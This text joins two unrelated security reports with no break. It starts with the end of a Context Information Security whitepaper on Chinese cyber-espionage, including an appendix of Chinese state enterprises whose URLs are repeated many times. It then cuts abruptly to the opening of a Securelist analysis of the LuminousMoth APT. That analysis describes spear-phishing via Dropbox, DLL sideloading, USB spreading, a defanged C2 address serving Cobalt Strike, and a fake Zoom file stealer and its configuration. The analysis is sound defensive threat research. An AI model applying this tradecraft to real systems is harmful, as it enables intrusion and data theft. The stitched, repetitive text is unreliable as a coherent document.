Governments dare not risk isolation from China for economic and political reasons.
Norway has recently been shut out of Chinese relations after awarding the Nobel Peace Prize to a jailed Chinese dissident Liu Xiaobo20.
Its trade links with China are minimal, so it can afford to do this, but few other countries would feel able to do the same.
A combination of this reluctance to act, chronic under-investment in IT and a lack of user education about how to spot the warning signs of a potential attack means companies and organisations are extremely vulnerable.
In order to start rectifying the problem there is a need in the first instance to understand the problem.
There needs to be an acceptance that this problem is not going to go away, that this is a business risk not at IT issue.
Doing business with China carries extra risk in terms of data security and traditional security products are unable to defend your data against this type of attack.
Investigation of compromises needs to be thorough and conducted by people familiar with this problem and not simply the technical aspects of it.
Above all sensitive data must be segregated  it is not possible to defend everything.
The reason targeted attacks pose such a dangerous threat is that these are not viruses which simply spread and act according to a set of defined rules in the software.
There are human beings directing these attacks in a much more active way.
They have been given specific duties and will not stop what they are doing until someone tells them to do so.
If your data is of interest today, it will still be of interest tomorrow.
If you have been attacked once and somehow managed to stop it, you have only stopped one instance of the attack, not the attack as a whole.
The malware used simply provides a foothold in the network, an initial point of access through which other tools can be uploaded to allow attackers access over the longer term, to navigate through the network until they find the data of interest to them.
If one technique doesnt work, they will adapt their methods and raise their game until they have success.
It may be that one day western governments will decide that if you cant beat them, join them and develop similar capabilities to be used against foreign governments and 20 http://www.bbc.co.uk/news/world-asia-pacific-11505164 http://www.bbc.co.uk/news/world-asia-pacific-11505164 Context Information Security 30 Marsh Wall, London, E14 9TP  44 (0) 207 537 7515    www.contextis.com 22 / 33 Crouching Tiger, Hidden Dragon, Stolen Data Whitepaper / companies.
We can only speculate as to how China might react to the large-scale targeting of its own companies and institutions.
As for now, we have limited evidence of large companies failing as a direct result of the attacks, though there seems to be consensus that Chinese intrusions at least contributed to the downfall of one time telecoms giant Nortel21.
We do not yet know how many others may follow.
21 http://www.cbc.ca/news/world/story/2012/02/15/nortel-hacking-shields-as-it- happens.html http://www.cbc.ca/news/world/story/2012/02/15/nortel-hacking-shields-as-it-happens.html http://www.cbc.ca/news/world/story/2012/02/15/nortel-hacking-shields-as-it-happens.html Context Information Security 30 Marsh Wall, London, E14 9TP  44 (0) 207 537 7515    www.contextis.com 23 / 33 Crouching Tiger, Hidden Dragon, Stolen Data Whitepaper / About Context Context Information Security is an independent security consultancy specialising in both technical security and information assurance services.
The company was founded in 1998.
Its client base has grown steadily over the years, thanks in large part to personal recommendations from existing clients who value us as business partners.
We believe our success is based on the value our clients place on our product- agnostic, holistic approach the way we work closely with them to develop a tailored service and to the independence, integrity and technical skills of our consultants.
Context are ideally placed to work with clients worldwide with offices in the UK, Australia and Germany.
The companys client base now includes some of the most prestigious blue chip companies in the world, as well as government organisations.
The best security experts need to bring a broad portfolio of skills to the job, so Context has always sought to recruit staff with extensive business experience as well as technical expertise.
Our aim is to provide effective and practical solutions, advice and support: when we report back to clients we always communicate our findings and recommendations in plain terms at a business level as well as in the form of an in-depth technical report.
Context Information Security 30 Marsh Wall, London, E14 9TP  44 (0) 207 537 7515    www.contextis.com 24 / 33 Crouching Tiger, Hidden Dragon, Stolen Data Whitepaper / Appendix No.
Company Name Website 1 China National Nuclear Corporation http://www.cnnc.com.cn 2 China Nuclear Engineering Group Corporation http://www.cnecc.com 3 China Aerospace Science and Technology Corporation http://www.spacechina.com 4 China Aerospace Science and Industry Corporation http://www.casic.com.cn 5 Aviation Industry Corporation of China http://www.avic.com.cn 6 China State Shipbuilding Corporation http://www.cssc.net.cn 7 China Shipbuilding Industry Corporation http://www.csic.com.cn 8 China North Industries Group Corporation http://www.norincogroup.com.cn 9 China South Industries Group Corporation http://www.csgc.com.cn 10 China Electronics Technology Group Corporation http://www.cetc.com.cn 11 China National Petroleum Corporation http://www.cnpc.com.cn/cn 12 China Petrochemical Corporation http://www.sinopecgroup.c om http://www.cnnc.com.cn/ http://www.cnnc.com.cn/ http://www.cnnc.com.cn/ http://www.cnecc.com/ http://www.cnecc.com/ http://www.cnecc.com/ http://www.spacechina.com/ http://www.spacechina.com/ http://www.spacechina.com/ http://www.spacechina.com/ http://www.casic.com.cn/ http://www.casic.com.cn/ http://www.casic.com.cn/ http://www.casic.com.cn/ http://www.avic.com.cn/ http://www.avic.com.cn/ http://www.avic.com.cn/ http://www.cssc.net.cn/ http://www.cssc.net.cn/ http://www.cssc.net.cn/ http://www.csic.com.cn/ http://www.csic.com.cn/ http://www.csic.com.cn/ http://www.norincogroup.com.cn/ http://www.norincogroup.com.cn/ http://www.norincogroup.com.cn/ http://www.csgc.com.cn/ http://www.csgc.com.cn/ http://www.csgc.com.cn/ http://www.cetc.com.cn/ http://www.cetc.com.cn/ http://www.cetc.com.cn/ http://www.cnpc.com.cn/cn/ http://www.cnpc.com.cn/cn/ http://www.cnpc.com.cn/cn/ http://www.sinopecgroup.com/ http://www.sinopecgroup.com/ http://www.sinopecgroup.com/ Context Information Security 30 Marsh Wall, London, E14 9TP  44 (0) 207 537 7515    www.contextis.com 25 / 33 Crouching Tiger, Hidden Dragon, Stolen Data Whitepaper / No.
Company Name Website 13 China National Offshore Oil Corporation http://www.cnooc.com.cn 14 State Grid Corporation of China http://www.sgcc.com.cn 15 China Southern Power Grid Co., Ltd. http://www.csg.cn 16 China Huaneng Group http://www.chng.com.cn 17 China Datang Corporation http://www.china-cdt.com 18 China Huadian Corporation http://www.chd.com.cn 19 China Guodian Corporation http://www.cgdc.com.cn 20 China Power Investment Corporation http://www.cpicorp.com.cn 21 China Three Gorges Corporation http://www.ctgpc.com.cn/ 22 Shenhua Group Corporation Limited http://www.shenhuagroup.com.cn 23 China Telecommunication s Corporation http://www.chinatelecom.com.cn 24 China United Network Communications Group Co., Ltd. http://www.chinaunicom.com.cn 25 China Mobile Communications Corporation http://www.10086.cn 26 China Electronics Corporation http://www.cec.com.cn 27 China FAW Group Corporation http://www.faw.com.cn http://www.cnooc.com.cn/ http://www.cnooc.com.cn/ http://www.cnooc.com.cn/ http://www.sgcc.com.cn/ http://www.sgcc.com.cn/ http://www.sgcc.com.cn/ http://www.csg.cn/ http://www.csg.cn/ http://www.chng.com.cn/ http://www.chng.com.cn/ http://www.china-cdt.com/ http://www.china-cdt.com/ http://www.chd.com.cn/ http://www.chd.com.cn/ http://www.cgdc.com.cn/ http://www.cgdc.com.cn/ http://www.cpicorp.com.cn/ http://www.cpicorp.com.cn/ http://www.cpicorp.com.cn/ http://www.ctgpc.com.cn/ http://www.ctgpc.com.cn/ http://www.ctgpc.com.cn/ http://www.shenhuagroup.com.cn/ http://www.shenhuagroup.com.cn/ http://www.chinatelecom.com.cn/ http://www.chinatelecom.com.cn/ http://www.chinatelecom.com.cn/ http://www.chinaunicom.com.cn/ http://www.chinaunicom.com.cn/ http://www.chinaunicom.com.cn/ http://www.chinaunicom.com.cn/ http://www.10086.cn/ http://www.10086.cn/ http://www.10086.cn/ http://www.cec.com.cn/ http://www.cec.com.cn/ http://www.faw.com.cn/ http://www.faw.com.cn/ Context Information Security 30 Marsh Wall, London, E14 9TP  44 (0) 207 537 7515    www.contextis.com 26 / 33 Crouching Tiger, Hidden Dragon, Stolen Data Whitepaper / No.
Company Name Website 28 Dongfeng Motor Corporation http://www.dfmc.com.cn 29 China First Heavy Industries http://www.cfhi.com 30 China National Erzhong Group Co. http://www.china- erzhong.com 31 Harbin Electric Corporation http://www.hpec.com 32 Dongfang Electric Corporation http://www.dongfang.com 33 Anshan Iron and Steel Group Corporation http://www.ansteelgroup.com 34 Baosteel Group Corporation http://www.baosteel.com 35 Wuhan Iron and Steel (Group) Corporation http://www.wisco.com.cn 36 Aluminum Corporation of China http://www.chalco.com.cn 37 China Ocean Shipping (Group) Company http://www.cosco.com 38 China Shipping (Group) Company http://www.cnshipping.com 39 China National Aviation Holding Company http://www.airchinagroup.com 40 China Eastern Air Holding Company http://www.ceair.com 41 China Southern Air Holding Company http://www.csair.cn 42 Sinochem Group http://www.sinochem.com 43 COFCO Limited http://www.cofco.com 44 China Minmetals Corporation http://www.minmetals.com.cn http://www.dfmc.com.cn/ http://www.dfmc.com.cn/ http://www.cfhi.com/ http://www.cfhi.com/ http://www.china-erzhong.com/ http://www.china-erzhong.com/ http://www.hpec.com/ http://www.hpec.com/ http://www.dongfang.com/ http://www.dongfang.com/ http://www.dongfang.com/ http://www.ansteelgroup.com/ http://www.ansteelgroup.com/ http://www.ansteelgroup.com/ http://www.baosteel.com/ http://www.baosteel.com/ http://www.wisco.com.cn/ http://www.wisco.com.cn/ http://www.wisco.com.cn/ http://www.chalco.com.cn/ http://www.chalco.com.cn/ http://www.chalco.com.cn/ http://www.cosco.com/ http://www.cosco.com/ http://www.cosco.com/ http://www.cnshipping.com/ http://www.cnshipping.com/ http://www.airchinagroup.com/ http://www.airchinagroup.com/ http://www.airchinagroup.com/ http://www.ceair.com/ http://www.ceair.com/ http://www.csair.cn/ http://www.csair.cn/ http://www.sinochem.com/ http://www.cofco.com/ http://www.minmetals.com.cn/ http://www.minmetals.com.cn/ Context Information Security 30 Marsh Wall, London, E14 9TP  44 (0) 207 537 7515    www.contextis.com 27 / 33 Crouching Tiger, Hidden Dragon, Stolen Data Whitepaper / No.
Company Name Website 45 China General Technology (Group) Holding, Limited http://www.genertec.com.cn 46 China State Construction Engineering Corporation http://www.cscec.com 47 China Grain Reserves Corporation http://www.sinograin.com.cn 48 State Development Investment Corp. http://www.sdic.com.cn 49 China Merchants Group http://www.cmhk.com 50 China Resources http://www.crc.com.hk 51 China National Travel Service (HK) Group Corporation [China Travel Service (Holdings) Hong Kong Limited] http://www.hkcts.com 52 State Nuclear Power Technology Corporation Ltd. http://www.snptc.com.cn 53 Commercial Aircraft Corporation of China, Ltd. http://www.comac.cc 54 China Energy Conservation and Environmental Protection Group http://www.cecic.com.cn 55 China International Engineering Consulting Corporation http://www.ciecc.com.cn 56 China Huafu Trade Development Group Corp. http://www.hfjt.com.cn 57 China Chengtong Holdings Group Ltd. http://www.cctgroup.com.cn http://www.genertec.com.cn/ http://www.genertec.com.cn/ http://www.genertec.com.cn/ http://www.genertec.com.cn/ http://www.cscec.com/ http://www.cscec.com/ http://www.cscec.com/ http://www.cscec.com/ http://www.sinograin.com.cn/ http://www.sinograin.com.cn/ http://www.sinograin.com.cn/ http://www.sdic.com.cn/ http://www.sdic.com.cn/ http://www.cmhk.com/ http://www.cmhk.com/ http://www.crc.com.hk/ http://www.hkcts.com/ http://www.hkcts.com/ http://www.hkcts.com/ http://www.hkcts.com/ http://www.hkcts.com/ http://www.hkcts.com/ http://www.snptc.com.cn/ http://www.snptc.com.cn/ http://www.snptc.com.cn/ http://www.comac.cc/ http://www.comac.cc/ http://www.comac.cc/ http://www.cecic.com.cn/ http://www.cecic.com.cn/ http://www.cecic.com.cn/ http://www.cecic.com.cn/ http://www.ciecc.com.cn/ http://www.ciecc.com.cn/ http://www.ciecc.com.cn/ http://www.ciecc.com.cn/ http://www.hfjt.com.cn/ http://www.hfjt.com.cn/ http://www.hfjt.com.cn/ http://www.cctgroup.com.cn/ http://www.cctgroup.com.cn/ Context Information Security 30 Marsh Wall, London, E14 9TP  44 (0) 207 537 7515    www.contextis.com 28 / 33 Crouching Tiger, Hidden Dragon, Stolen Data Whitepaper / No.
Company Name Website 58 China National Coal Group Corp. http://www.chinacoal.com 59 China Coal Technology Engineering Group Corp. http://www.ccteg.cn 60 China National Machinery Industry Corporation http://www.sinomach.com.cn 61 China Academy of Machinery Science Technology http://www.cam.com.cn 62 Sinosteel Corporation http://www.sinosteel.com 63 China Metallurgical Group Corporation http://www.mcc.com.cn 64 China Iron  Steel Research Institute Group http://www.cisri.com.cn 65 China National Chemical Corporation http://www.chemchina.com 66 China National Chemical Engineering Group Corporation http://www.cncec.cn 67 Sinolight Corporation http://www.sinolight.cn 68 China National Arts Crafts (Group) Corporation http://www.cnacgc.com 69 China National Salt Industry Corporation http://www.chinasalt.com.cn 70 Huacheng Investment Management Co., Ltd.
Unknown 71 China Hengtian Group Co., Ltd. http://www.chtgc.com http://www.chinacoal.com/ http://www.chinacoal.com/ http://www.ccteg.cn/ http://www.ccteg.cn/ http://www.ccteg.cn/ http://www.ccteg.cn/ http://www.sinomach.com.cn/ http://www.sinomach.com.cn/ http://www.sinomach.com.cn/ http://www.cam.com.cn/ http://www.cam.com.cn/ http://www.cam.com.cn/ http://www.sinosteel.com/ http://www.sinosteel.com/ http://www.mcc.com.cn/ http://www.mcc.com.cn/ http://www.cisri.com.cn/ http://www.cisri.com.cn/ http://www.cisri.com.cn/ http://www.chemchina.com/ http://www.chemchina.com/ http://www.chemchina.com/ http://www.cncec.cn/ http://www.cncec.cn/ http://www.cncec.cn/ http://www.cncec.cn/ http://www.sinolight.cn/ http://www.sinolight.cn/ http://www.cnacgc.com/ http://www.cnacgc.com/ http://www.cnacgc.com/ http://www.chinasalt.com.cn/ http://www.chinasalt.com.cn/ http://www.chinasalt.com.cn/ http://www.chtgc.com/ http://www.chtgc.com/ Context Information Security 30 Marsh Wall, London, E14 9TP  44 (0) 207 537 7515    www.contextis.com 29 / 33 Crouching Tiger, Hidden Dragon, Stolen Data Whitepaper / No.
Company Name Website 72 China National Materials Group Corporation Ltd. http://www.sinoma.cn 73 China National Building Materials Group Corporation http://www.cnbm.com.cn 74 China Nonferrous Metal Mining (Group) Co., Ltd. http://www.cnmc.com.cn 75 General Research Institute for Nonferrous Metals http://www.grinm.com 76 Beijing General Research Institute of Mining Metallurgy http://www.bgrimm.com 77 China International Intellectech Corporation http://www.ciic.com.cn 78 China Academy of Building Research http://www.cabr.com.cn 79 China North Locomotive and Rolling Stock Industry (Group) Corporation http://www.chinacnr.com 80 China South Locomotive Rolling Stock Corporation Limited http://www.csrgc.com.cn 81 China Railway Signal Communication Corporation http://www.crsc.cn 82 China Railway Group Limited http://www.crecg.com 83 China Railway Construction Corporation Limited http://www.crcc.cn http://www.sinoma.cn/ http://www.sinoma.cn/ http://www.sinoma.cn/ http://www.cnbm.com.cn/ http://www.cnbm.com.cn/ http://www.cnbm.com.cn/ http://www.cnmc.com.cn/ http://www.cnmc.com.cn/ http://www.cnmc.com.cn/ http://www.grinm.com/ http://www.grinm.com/ http://www.grinm.com/ http://www.bgrimm.com/ http://www.bgrimm.com/ http://www.bgrimm.com/ http://www.bgrimm.com/ http://www.ciic.com.cn/ http://www.ciic.com.cn/ http://www.ciic.com.cn/ http://www.cabr.com.cn/ http://www.cabr.com.cn/ http://www.chinacnr.com/ http://www.chinacnr.com/ http://www.chinacnr.com/ http://www.chinacnr.com/ http://www.chinacnr.com/ http://www.csrgc.com.cn/ http://www.csrgc.com.cn/ http://www.csrgc.com.cn/ http://www.csrgc.com.cn/ http://www.crsc.cn/ http://www.crsc.cn/ http://www.crsc.cn/ http://www.crsc.cn/ http://www.crecg.com/ http://www.crecg.com/ http://www.crcc.cn/ http://www.crcc.cn/ http://www.crcc.cn/ Context Information Security 30 Marsh Wall, London, E14 9TP  44 (0) 207 537 7515    www.contextis.com 30 / 33 Crouching Tiger, Hidden Dragon, Stolen Data Whitepaper / No.
Company Name Website 84 China Communications Construction Company Limited http://www.ccgrp.com.cn 85 Potevio Company Limited http://www.potevio.com 86 China Academy of Telecommunication and Technology http://www.datanggroup.cn 87 China National Agricultural Development Group Co., Ltd. http://www.cnadc.com.cn 88 Chinatex Corporation http://www.chinatex.com 89 Sinotrans  CSC Holdings Co., Ltd. http://www.sinotrans-csc.com 90 China National Silk Import  Export Corporation http://www.chinasilk.com 91 China Forestry Group Corporation http://www.cfgc.cn 92 China National Pharmaceutical Group Corporation http://www.sinopharm.com 93 CITS Group Corporation http://www.citsgroup.com.cn 94 China Poly Group Corporation http://www.citsgroup.com.cn 95 Zhuhai ZhenRong Company http://www.zhzrgs.com.cn 96 China Architecture Design  Research Group http://www.cadreg.com.cn 97 China Metallurgical Geology Bureau http://www.cmgb.com.cn 98 China National Administration of Coal Geology http://www.ccgc.cn http://www.ccgrp.com.cn/ http://www.ccgrp.com.cn/ http://www.ccgrp.com.cn/ http://www.ccgrp.com.cn/ http://www.potevio.com/ http://www.potevio.com/ http://www.datanggroup.cn/ http://www.datanggroup.cn/ http://www.datanggroup.cn/ http://www.cnadc.com.cn/ http://www.cnadc.com.cn/ http://www.cnadc.com.cn/ http://www.cnadc.com.cn/ http://www.chinatex.com/ http://www.chinatex.com/ http://www.sinotrans-csc.com/ http://www.sinotrans-csc.com/ http://www.chinasilk.com/ http://www.chinasilk.com/ http://www.chinasilk.com/ http://www.cfgc.cn/ http://www.cfgc.cn/ http://www.sinopharm.com/ http://www.sinopharm.com/ http://www.sinopharm.com/ http://www.citsgroup.com.cn/ http://www.citsgroup.com.cn/ http://www.citsgroup.com.cn/ http://www.citsgroup.com.cn/ http://www.zhzrgs.com.cn/ http://www.zhzrgs.com.cn/ http://www.cadreg.com.cn/ http://www.cadreg.com.cn/ http://www.cadreg.com.cn/ http://www.cmgb.com.cn/ http://www.cmgb.com.cn/ http://www.ccgc.cn/ http://www.ccgc.cn/ http://www.ccgc.cn/ Context Information Security 30 Marsh Wall, London, E14 9TP  44 (0) 207 537 7515    www.contextis.com 31 / 33 Crouching Tiger, Hidden Dragon, Stolen Data Whitepaper / No.
Company Name Website 99 Xinxing Cathay International Group Co., Ltd. http://www.xxcig.com 100 China Travelsky Holding Company http://www.travelskyholding s.com 101 China National Aviation Fuel Group Corporation http://www.cnaf.com 102 China Aviation Supplies Holding Company http://www.casc.com.cn 103 Power Construction Corporation of China http://www.zhongguodianjian.com 104 China Energy Engineering Group Co., Ltd http://www.ceec.net.cn 105 China National Gold Group Corporation http://www.chinagoldgroup.com 106 China National Cotton Reserves Corporation http://www.cncrc.com.cn 107 China Printing (Group) Corporation http://www.cpgc.cn 108 China Guangdong Nuclear Power Holding Corporation Ltd. http://www.cgnpc.com.cn 109 China Hualu Group Co., Ltd. http://www.hualu.com.cn 110 Alcatel-Lucent Shanghai Bell Co., Ltd. http://www.alcatel- sbell.com.cn 111 IRICO Group Corporation http://www.ch.com.cn http://www.xxcig.com/ http://www.travelskyholdings.com/ http://www.travelskyholdings.com/ http://www.cnaf.com/ http://www.cnaf.com/ http://www.cnaf.com/ http://www.casc.com.cn/ http://www.casc.com.cn/ http://www.casc.com.cn/ http://www.zhongguodianjian.com/ http://www.zhongguodianjian.com/ http://www.zhongguodianjian.com/ http://www.ceec.net.cn/ http://www.ceec.net.cn/ http://www.ceec.net.cn/ http://www.chinagoldgroup.com/ http://www.chinagoldgroup.com/ http://www.chinagoldgroup.com/ http://www.cncrc.com.cn/ http://www.cncrc.com.cn/ http://www.cncrc.com.cn/ http://www.cpgc.cn/ http://www.cpgc.cn/ http://www.cpgc.cn/ http://www.cgnpc.com.cn/ http://www.cgnpc.com.cn/ http://www.cgnpc.com.cn/ http://www.cgnpc.com.cn/ http://www.hualu.com.cn/ http://www.hualu.com.cn/ http://www.alcatel-sbell.com.cn/ http://www.alcatel-sbell.com.cn/ http://www.alcatel-sbell.com.cn/ http://www.ch.com.cn/ http://www.ch.com.cn/ Context Information Security 30 Marsh Wall, London, E14 9TP  44 (0) 207 537 7515    www.contextis.com 32 / 33 Crouching Tiger, Hidden Dragon, Stolen Data Whitepaper / No.
Company Name Website 112 Wuhan Research Institute of Post and Telecommunication s http://www.wri.com.cn 113 OCT Group http://www.chinaoct.com 114 Nam Kwong (Group) Company Limited http://www.namkwong.com .mo 115 China XD Group http://www.xd.com.cn 116 China Railway Materials Commercial Corp. http://www.crmsc.com.cn 117 China Reform Holdings Corporation Ltd. http://www.crhc.cn/n127514 92/index.html http://www.wri.com.cn/ http://www.wri.com.cn/ http://www.wri.com.cn/ http://www.wri.com.cn/ http://www.chinaoct.com/ http://www.namkwong.com.mo/ http://www.namkwong.com.mo/ http://www.namkwong.com.mo/ http://www.xd.com.cn/ http://www.crmsc.com.cn/ http://www.crmsc.com.cn/ http://www.crmsc.com.cn/ http://www.crhc.cn/n12751492/index.html http://www.crhc.cn/n12751492/index.html http://www.crhc.cn/n12751492/index.html http://www.crhc.cn/n12751492/index.html http://www.crhc.cn/n12751492/index.html Context Information Security 30 Marsh Wall, London, E14 9TP  44 (0) 207 537 7515    www.contextis.com 33 / 33 Crouching Tiger, Hidden Dragon, Stolen Data Whitepaper / Context Information Security Ltd London (HQ) Cheltenham  Dsseldorf  Melbourne 4th Floor 30 Marsh Wall London E14 9TP United Kingdom Corinth House 117 Bath Road Cheltenham GL53 7LS United Kingdom Adersstr.
28, 1.OG D-40215 Dsseldorf Germany Level 9, 440 Collins St Melbourne Victoria 3000 Australia
1/14 LuminousMoth APT: Sweeping attacks for the chosen few securelist.com/apt-luminousmoth/103332 APT actors are known for the frequently targeted nature of their attacks.
Typically, they will handpick a set of targets that in turn are handled with almost surgical precision, with infection vectors, malicious implants and payloads being tailored to the victims identities or environment.
Its not often we observe a large-scale attack conducted by actors fitting this profile, usually due to such attacks being noisy, and thus putting the underlying operation at risk of being compromised by security products or researchers.
We recently came across unusual APT activity that exhibits the latter trait  it was detected in high volumes, albeit most likely aimed at a few targets of interest.
This large-scale and highly active campaign was observed in South East Asia and dates back to at least October 2020, with the most recent attacks seen around the time of writing.
Most of the early sightings were in Myanmar, but it now appears the attackers are much more active in the Philippines, where there are more than 10 times as many known targets.
Further analysis revealed that the underlying actor, which we dubbed LuminousMoth, shows an affinity to the HoneyMyte group, otherwise known as Mustang Panda.
This is evident in both network infrastructure connections, and the usage of similar TTPs to deploy the Cobalt Strike Beacon as a payload.
In fact, our colleagues at ESET and Avast recently assessed that HoneyMyte was active in the same region.
The proximity in time and common occurrence in Myanmar of both campaigns could suggest that various TTPs of HoneyMyte may have been borrowed for the activity of LuminousMoth.
https://securelist.com/apt-luminousmoth/103332/ https://twitter.com/ESETresearch/status/1400165767488970764 https://twitter.com/AvastThreatLabs/status/1404864965584977922 2/14 Most notably though, we observed the capability of the culprit to spread to other hosts through the use of USB drives.
In some cases, this was followed by deployment of a signed, but fake version of the popular application Zoom, which was in fact malware enabling the attackers to exfiltrate files from the compromised systems.
The sheer volume of the attacks raises the question of whether this is caused by a rapid replication through removable devices or by an unknown infection vector, such as a watering hole or a supply chain attack.
In this publication we aim to profile LuminousMoth as a separate entity, outlining the infection chain and unique toolset it leverages, the scale and targeting in its campaigns as well as its connections to HoneyMyte through common TTPs and shared resources.
What were the origins of the infections?
We identified two infection vectors used by LuminousMoth: the first one provides the attackers with initial access to a system.
It consists of sending a spear-phishing email to the victim containing a Dropbox download link.
The link leads to a RAR archive that masquerades as a Word document by setting the file_subpath parameter to point to a filename with a .DOCX extension.
1 2 hxxps://www.dropbox[.
]com/s/esh1ywo9irbexvd/COVID-1920Case2012-11- 2020.rar?dl0file_subpath2FCOVID-19Case12-11-20202FCOVID-19Case12-11-2020(2).docx The archive contains two malicious DLL libraries as well as two legitimate executables that sideload the DLL files.
We found multiple archives like this with file names of government entities in Myanmar, for example COVID-19 Case 12-11-2020(MOTC).rar or DACU Projects.r01 (MOTC is Myanmars Ministry of Transport and Communications, and DACU refers to the Development Assistance Coordination Unit of the Foreign Economic Relations Department (FERD) in Myanmar).
3/14 Infection chain The second infection vector comes into play after the first one has successfully finished, whereby the malware tries to spread by infecting removable USB drives.
This is made possible through the use of two components: the first is a malicious library called version.dll that gets sideloaded by igfxem.exe, a Microsoft Silverlight executable originally named sllauncher.exe.
The second is wwlib.dll, another malicious library sideloaded by the legitimate binary of winword.exe.
The purpose of version.dll is to spread to removable devices, while the purpose of wwlib.dll is to download a Cobalt Strike beacon.
The first malicious library version.dll has three execution branches, chosen depending on the provided arguments, which are: assist, system or no argument.
If the provided argument is assist, the malware creates an event called nfvlqfnlqwnlf to avoid multiple executions and runs winword.exe in order to sideload the next stage (wwlib.dll).
Afterwards, it modifies the registry by adding an Opera Browser Assistant entry as a run key, thus achieving persistence and executing the malware with the assist parameter upon system startup.
https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/07/12153755/LuminousMoth_01.png 4/14 Registry value to run the malware at system startup Then, the malware checks if there are any removable drives connected to the infected system.
If any are found, it enumerates the files stored on the drive and saves the list to a file called udisk.log.
Lastly, the malware is executed once again with the system parameter.
If the provided argument is system, a different event named qjlfqwle21ljl is created.
The purpose of this execution branch is to deploy the malware on all connected removable devices, such as USB sticks or external drives.
If a drive is found, the malware creates hidden directories carrying non ascii characters on the drive and moves all the victims files there, in addition to the two malicious libraries and legitimate executables.
The malware then renames the file igfxem.exe to USB Driver.exe and places it at the root of the drive along with version.dll.
As a result, the victims are no longer able to view their own drive files and are left with only USB Driver.exe, meaning they will likely execute the malware to regain access to the hidden files.
Copying the payload and creating a hidden directory on the removable drive If no argument is provided, the malware executes the third execution branch.
This branch is only launched in the context of a compromised removable drive by double-clicking USB Driver.exe.
The malware first copies the four LuminousMoth samples stored from the hidden drive repository to C:\Users\Public\Documents\Shared Virtual Machines\.
Secondly, the malware executes igfxem.exe with the assist argument.
Finally, explorer.exe gets executed to display the hidden files that were located on the drive before the compromise, and the user is able to view them.
The second library, wwlib.dll, is a loader.
It gets sideloaded by winword.exe and emerged two months prior to version.dll, suggesting that earlier instances of the attack did not rely on replication through removable drives but were probably distributed using other methods such as the spear-phishing emails we observed.
https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/07/12153830/LuminousMoth_02.png https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/07/12153903/LuminousMoth_03.png 5/14 Wwlib.dll fetches a payload by sending a GET request to the C2 address at 103.15.28[.
]195.
The payload is a Cobalt Strike beacon that uses the Gmail malleable profile to blend with benign traffic.
Downloading a Cobalt Strike beacon from 103.15.28[.
]195 Older spreading mechanism We discovered an older version of the LuminousMoth infection chain that was used briefly before the introduction of version.dll.
Instead of the usual combination of version.dll and wwlib.dll, a different library called wwlib.dll is in fact the first loader in this variant and is in charge of spreading to removable drives, while a second DkAr.dll library is in charge of downloading a Cobalt Strike beacon from the C2 server.
This variants wwlib.dll offers two execution branches: one triggered by the argument Assistant and a second one with no arguments given.
When this library is sideloaded by winword.exe, it creates an event called fjsakljflwqlqewq, adds a registry value for persistence, and runs PrvDisk.exe that then sideloads DkAr.dll.
The final step taken by wwlib.dll is to copy itself to any removable USB device.
To do so, the malware checks if there are any files carrying a .DOC or .DOCX extension stored on the connected devices.
If such a document is found, the malware replaces it with the winword.exe binary, keeping the documents file name but appending .exe to the end.
The original document is then moved to a hidden directory.
The wwlib.dll library is copied to the same directory containing the fake document and the four samples (two legitimate PE files, two DLL libraries) are copied to [USB_Drive letter]:\System Volume Information\en-AU\Qantas.
If the malware gets executed without the Assistant argument, this means the execution was started from a compromised USB drive by double-clicking on the executable.
In this case, the malware first executes explorer.exe to show the hidden directory with the original documents of the victim, and proceeds to copy the four LuminousMoth samples to C:\Users\Public\Documents\Shared Virtual Machines\.
Finally, it executes winword.exe with the Assistant argument to infect the new host, to which the USB drive was connected.
Since this variant relies on replacing Word documents with an executable, it is possible that the attackers chose the winword.exe binary for sideloading the malicious DLL due to its icon, which raises less suspicions about the original documents being tampered with.
However, this means that the infection was limited only to USB drives that have Word documents stored on them, and might explain the quick move to a more pervasive approach that infects drives regardless of their content.
https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/07/12153927/LuminousMoth_04.png 6/14 Post exploitation tool: Fake Zoom application The attackers deployed an additional malicious tool on some of the infected systems in Myanmar.
Its purpose is to scan the infected systems for files with predefined extensions and exfiltrate them to a C2 server.
Interestingly, this stealer impersonates the popular Zoom video telephony software.
One measure to make it seem benign is a valid digital signature provided with the binary along with a certificate that is owned by Founder Technology, a subsidiary of Peking Universitys Founder Group, located in Shanghai.
Valid certificate of the fake Zoom application To facilitate the exfiltration of data, the stealer parses a configuration file called zVideoUpdate.ini.
While it is unclear how the malware is written to disk by the attackers, it is vital that the .ini file is dropped alongside it and placed in the same directory in order to work.
The configuration parameters that comprise this file are as follows: Parameter Name Purpose meeting Undetermined integer value that defaults to 60.
ssb_sdk Undetermined integer value that defaults to 60.
https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/07/12154002/LuminousMoth_05.png 7/14 zAutoUpdate URL of the C2 server which the stolen data will be uploaded to.
XmppDll Path to the utility used to archive exfiltrated files.
zKBCrypto List of exfiltrated file extensions that are searched in target directories.
The extensions of interest are delimited with the  character.
zCrashReport Suffix string appended to the name of the staging directory used to host exfiltrated files before they are archived.
zWebService Path prefix for the exfiltration staging directory.
zzhost Path to the file that will hold a list of hashes corresponding to the  files collected for exfiltration.
ArgName AES key for configuration string encryption.
Version AES IV for configuration string encryption.
zDocConverter Path 1 to a directory to look for files with the extension intended for exfiltration zTscoder Path 2 to a directory to look for files with the extension intended for exfiltration zOutLookIMutil Path 3 to a directory to look for files with the extension intended for exfiltration Each field in the configuration file (with the exception of Version, ArgName and zCrashReport) is encoded with Base64.
While the authors incorporated logic and parameters that allow the decryption of some of the fields specified above with the AES algorithm, it remains unused.
The stealer uses the parameters in order to scan the three specified directories (along with root paths of fixed and removable drives) and search for files with the extensions given in the zKBCrypto parameter.
Matching files will then be copied to a staging directory created by the malware in a path constructed with the following structure: zWebService\Y-m-d H-M-SzCrashReport.
The string format in the directorys name represents the time and date of the malwares execution.
In addition, the malware collects the metadata of the stolen files.
One piece of data can be found as a list of original paths corresponding to the exfiltrated files that is written to a file named VideoCoingLog.txt.
This file resides in the aforementioned staging directory.
Likewise, a second file is used to hold the list of hashes corresponding to the exfiltrated files and placed in the path specified in the zzhost parameter.
After collection of the targeted files and their metadata, the malware executes an external utility in order to archive the staging directory into a .rar file that will be placed in the path specified in the zWebService parameter.
The malware assumes the existence of the utility in a path specified under the XmppDll parameter, suggesting the attackers have prior knowledge of the infected system and its pre-installed applications.
Finally, the malware seeks all files with a .rar extension within the zWebService directory that should be transmitted to the C2.
